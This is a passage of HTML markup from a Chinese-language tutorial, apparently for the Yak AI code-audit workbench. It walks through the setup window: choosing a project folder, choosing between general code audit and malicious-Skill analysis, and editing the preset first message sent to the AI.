1px;">关心 Skill 是否有恶意行为 → 点 </span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「开始 Skill 分析」</span></span></strong></span></p></li><li style="text-align: left;"><p style="margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4lxl1l1ak5" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">只想按规则批量扫一遍、不需要对话 → </span></span><span leaf="" mpa-font-style="mr4puptc1wev" style="font-size: 15px;" data-mpa-action-id="mr4puptl183b" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">用另外两个离线功能即可</span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4lxl1l1jz2" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">点击任一 AI 卡片后，会进入 </span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">AI 代码审计工作台</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">；</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">会先弹出 </span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">引导窗口</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（下一节详述）打开目录并开始审计。</span></span></span></p></div><div data-mpa-action-id="mr4lpd3biai" data-pm-slice="0 0 []"><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">三、引导窗口：三步完成准备</span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;" data-mpa-action-id="mr4nfegc4hg" data-pm-slice="0 0 []"><span mpa-font-style="mr4nfeg14bf" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">第一次使用，或点击「打开本地文件夹」时，会出现 </span></span><strong style="font-weight: bold;"><span leaf="" style="font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">引导窗口</span></span></strong><span leaf="" style="font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">分三步走。</span></span></span></p></div><div data-mpa-action-id="mr4m0m955dz" data-pm-slice="0 0 []"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">第一步：选择目录</span></strong></span></p></div></div></div></div></div><p data-mpa-action-id="mr4lzocfged" data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4lzoc41pqa" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">选择你要审计的 </span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">本地文件夹</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（即项目根目录）。</span></span></span></p><p style="text-align: center;padding: 0.5em;" data-type="image" data-ace-gallery-json="{&#34;items&#34;:[{&#34;uuid&#34;:&#34;6a67ddbf-7b18-4815-ad53-0a4ededf04e2&#34;,&#34;height&#34;:1116,&#34;width&#34;:2040,&#34;currHeight&#34;:1116,&#34;currWidth&#34;:2040,&#34;natrualHeight&#34;:1116,&#34;natrualWidth&#34;:2040,&#34;pluginName&#34;:&#34;imageUpload&#34;,&#34;scale&#34;:1,&#34;src&#34;:&#34;https%3A%2F%2Finternal-api-drive-stream.feishu.cn%2Fspace%2Fapi%2Fbox%2Fstream%2Fdownload%2Fpreview%2FOWRdbN2TJoJPLexEgh7camg2nLb%2F%3Fpreview_type%3D16&#34;,&#34;file_token&#34;:&#34;OWRdbN2TJoJPLexEgh7camg2nLb&#34;,&#34;image_type&#34;:&#34;image/png&#34;,&#34;size&#34;:250747,&#34;comments&#34;:[]}]}" nodeleaf="" data-mpa-action-id="mr4m012x1kvp" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5470588235294118" data-type="png" data-w="2040" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="2040" data-height="1116" data-imgfileid="100046305" src="https://wechat2rss.xlab.app/img-proxy/?k=f74f5acb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GMvPVMXpJeuwWuBoyxq6fQj8TOpD9ZXl5ev6bWglC0UNxKmxaEKxTquzwkDI6WrBjUt9vtlRH54WTO2v0DgbyiaiawNpZoABOok%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li style="text-align: left;"><p style="margin-bottom: 8px;line-height: 1.6em;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mr4m0m8s1wbz"><span leaf="">点击 </span></span><span mpa-font-style="mr4m0m8ss8s" style="font-size: 15px;"><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「打开本地文件夹」</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 从本机选择  </span></span></span></p></li><li style="text-align: left;"><p style="margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4m0m8s1lak" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">下方 </span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「最近打开」</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 可快速选以前开过的目录  </span></span></span></p></li><li style="text-align: left;"><p style="margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4m0m8s24hi" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">历史记录会显示小标签：</span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">代码审计</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">、</span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">技能审计</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> 或 </span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">未确定</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">方便辨认上次用的哪种模式</span></span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4m0m8ssi3" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">选好后点 </span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「下一步」</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><strong mpa-font-style="mr4m0m8s24sz" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">从首页带着类型进来的：</span></span></strong><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mr4m0m8s1q0f"><span leaf=""> 若你已从首页点了「开始 AI 审计」或「开始 Skill 分析」，类型已选好，这一步主要选目录。</span></span></p></div><div data-mpa-action-id="mr4m54z823nr" data-pm-slice="0 0 []"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">第二步：选择审计风格</span></strong></span></p></div></div></div></div></div><p data-mpa-action-id="mr4m1rv01yvk" data-pm-slice="0 0 []" style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span mpa-font-style="mr4m1rur15fb" style="font-size: 15px;"><span leaf="">在 </span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">代码审计</span></span></strong><span leaf=""> 和 </span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Skill 安全分析</span></span></strong><span leaf=""> 中二选一。</span></span></p><p style="text-align: center;padding: 0.5em;" data-type="image" data-ace-gallery-json="{&#34;items&#34;:[{&#34;uuid&#34;:&#34;e1a5cf3f-3195-49c6-ba68-3d8046c080b1&#34;,&#34;height&#34;:317.76066024759285,&#34;width&#34;:558,&#34;currHeight&#34;:317.76066024759285,&#34;currWidth&#34;:558,&#34;natrualHeight&#34;:828,&#34;natrualWidth&#34;:1454,&#34;pluginName&#34;:&#34;imageUpload&#34;,&#34;scale&#34;:0.38376891334250346,&#34;src&#34;:&#34;https%3A%2F%2Finternal-api-drive-stream.feishu.cn%2Fspace%2Fapi%2Fbox%2Fstream%2Fdownload%2Fpreview%2FRjElbBRKvoL4ygxHfhFcp7Imn1g%2F%3Fpreview_type%3D16&#34;,&#34;file_token&#34;:&#34;RjElbBRKvoL4ygxHfhFcp7Imn1g&#34;,&#34;image_type&#34;:&#34;image/png&#34;,&#34;size&#34;:142931,&#34;comments&#34;:[]}]}" nodeleaf="" data-mpa-action-id="mr4m1yzpsz6" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5694635488308115" data-type="png" data-w="1454" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="1454" data-height="828" data-imgfileid="100046304" src="https://wechat2rss.xlab.app/img-proxy/?k=a562efb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72F6sy7gQloCoq4F4ukTlNad72414LxKUOMTXENap7YOmnFXsNibDXkdZBuqlFn77LXdhjjRSYol2vlHm0pshuxWRBbdYaK7a0to%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li style="color:#fd8009;"><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" mpa-font-style="mr4m54yw1wo0" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">代码审计</span></span></strong><span leaf="" mpa-font-style="mr4m54yw1pna" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);font-weight: normal;">通用源码安全分析  </span></span></p></li><li style="color:#fd8009;"><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4m54yw79a"><strong><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Skill 安全分析</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);font-weight: normal;">针对 Skill 的专项分析</span></span></span></p></li></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4m54yw17gc" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">选好后点 </span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">「下一步」</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4m54yw90p" style="font-size: 15px;"><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">可能跳过这一步的情况：</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 若从首页卡片进入且类型已确定，或你点的历史记录里已有明确类型，引导可能直接进入第三步。</span></span></span></p></div><div data-mpa-action-id="mr4m6qbr20qs" data-pm-slice="0 0 []"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">第三步：确认并开始</span></strong></span></p></div></div></div></div></div><p data-mpa-action-id="mr4m5sjj4i0" data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4m5sja1gdg" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">核对目录、审计类型，并可编辑</span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">预设消息</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（发给 AI 的第一句话）。</span></span></span></p><p style="text-align: center;padding: 0.5em;" data-type="image" data-ace-gallery-json="{&#34;items&#34;:[{&#34;uuid&#34;:&#34;60cb6998-d8ca-48f0-a726-01faf860e5d3&#34;,&#34;height&#34;:344.5727136431784,&#34;width&#34;:470,&#34;currHeight&#34;:344.5727136431784,&#34;currWidth&#34;:470,&#34;natrualHeight&#34;:978,&#34;natrualWidth&#34;:1334,&#34;pluginName&#34;:&#34;imageUpload&#34;,&#34;scale&#34;:0.3523238380809595,&#34;src&#34;:&#34;https%3A%2F%2Finternal-api-drive-stream.feishu.cn%2Fspace%2Fapi%2Fbox%2Fstream%2Fdownload%2Fpreview%2FUrC1bg4ZpoeyusxDZadcZGeDnNf%2F%3Fpreview_type%3D16&#34;,&#34;file_token&#34;:&#34;UrC1bg4ZpoeyusxDZadcZGeDnNf&#34;,&#34;image_type&#34;:&#34;image/png&#34;,&#34;size&#34;:159377,&#34;comments&#34;:[]}]}" nodeleaf="" data-mpa-action-id="mr4m66561u41" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7331334332833583" data-type="png" data-w="1334" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="1334" data-height="978" data-imgfileid="100046306" src="https://wechat2rss.xlab.app/img-proxy/?k=3586ce69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72Gz8oeD0XQu2vHFGibwAjK5Ns8GUv9OeB08bVGmdiafz2icaR7XI862RibicmXnv7cpudXLsN8AecgrA27Z0t9Nuz6VQs4AFFNjCG3E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><byte-sheet-html-origin data-id="" data-version="4" data-is-embed="true" data-grid-line-hidden="false" data-copy-type="col"><div><p><table style="border-collapse: collapse;min-width: 50px;"><tbody><tr><td style="color:rgb(0, 0, 0);font-weight:bold;text-align:center;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mr4pfadi1tck" style="font-size: 14px;" data-mpa-action-id="mr4pfads1is0" data-pm-slice="0 0 []">审计类型</span></p></td><td style="color:rgb(0, 0, 0);font-weight:bold;text-align:center;word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mr4pfdl7nvq" style="font-size: 14px;" data-mpa-action-id="mr4pfdlgkje" data-pm-slice="0 0 []">默认预设消息（可改）</span></p></td></tr><tr><td style="color:rgb(0, 0, 0);word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mr4pfhsj1n2y" style="font-size: 14px;" data-mpa-action-id="mr4pfhst2098" data-pm-slice="0 0 []">代码审计</span></p></td><td style="color:rgb(0, 0, 0);word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mr4pflb7gah" style="font-size: 14px;" data-mpa-action-id="mr4pflbh1doe" data-pm-slice="0 0 []">开始审计</span></p></td></tr><tr><td style="color:rgb(0, 0, 0);word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mr4pfobr1kua" style="font-size: 14px;" data-mpa-action-id="mr4pfoc41twu" data-pm-slice="0 0 []">Skill 安全分析</span></p></td><td style="color:rgb(0, 0, 0);word-wrap:break-word;word-break:break-word;white-space:pre-wrap;"><p><span leaf="" mpa-font-style="mr4pfrjj1f94" style="font-size: 14px;" data-mpa-action-id="mr4pfrjs1lw2" data-pm-slice="0 0 []">请审计这个 Skill 是否存在恶意行为</span></p></td></tr></tbody></table></p></div></byte-sheet-html-origin></p><p style="margin-left: 8px;margin-right: 8px;text-indent: 0px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4m6qbdbto" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">底部有两个主要操作：</span></span></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-indent: 0px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4m6qbd13en" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">开始（紫色主按钮）：</span></span></p></li></ul><p style="text-indent: 0px;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4m6qbd18u8" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">打开目录，自动把预设消息发给 AI 并开始分析；之后 审计类型不可再改</span></span></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="text-indent: 0px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4m6qbd1icp" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">仅打开文件（灰色次要按钮）  </span></span></p></li></ul><p style="text-indent: 0px;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4m6qbdpm1" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">只打开目录，预设消息 填进输入框但不发送；</span></span></p><p style="margin-left: 8px;margin-right: 8px;text-indent: 0px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4m6qbdjyz" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">你可以先自己看代码，改好问题再手动点发送；审计类型仍可切换</span></span></p><p style="margin-left: 8px;margin-right: 8px;text-indent: 0px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mr4m6qbd11yb" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">其他操作：</span></span></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li style="text-align:left;color:#fd8009;"><p style="text-indent: 0px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4m6qbdmn" style="font-size: 15px;"><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">上一步</span></span></strong><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">：</span></span><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">第三步点「上一步」会回到</span></span><strong style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">第二步改审计类型</span></span></strong><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">（方便从历史记录进来后换类型）  </span></span></span></p></li><li style="text-align:left;color:#fd8009;"><p style="text-indent: 0px;margin-bottom: 8px;line-height: 1.6em;"><span mpa-font-style="mr4m6qbd1zar" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">取消</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> / </span></span><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">按</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Esc</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> / </span></span><span leaf="" style="text-indent: 0px;line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">点击窗口外：关闭引导，不会自动开始 AI</span></span></span></p></li></ul></div><div data-mpa-action-id="mr4lpd3biai" data-pm-slice="0 0 []"><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;">四、进入工作台后怎么用？</span></strong></p></div></div></div></div><div data-mpa-action-id="mr4m8dpbxjm" data-pm-slice="0 0 []"><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: 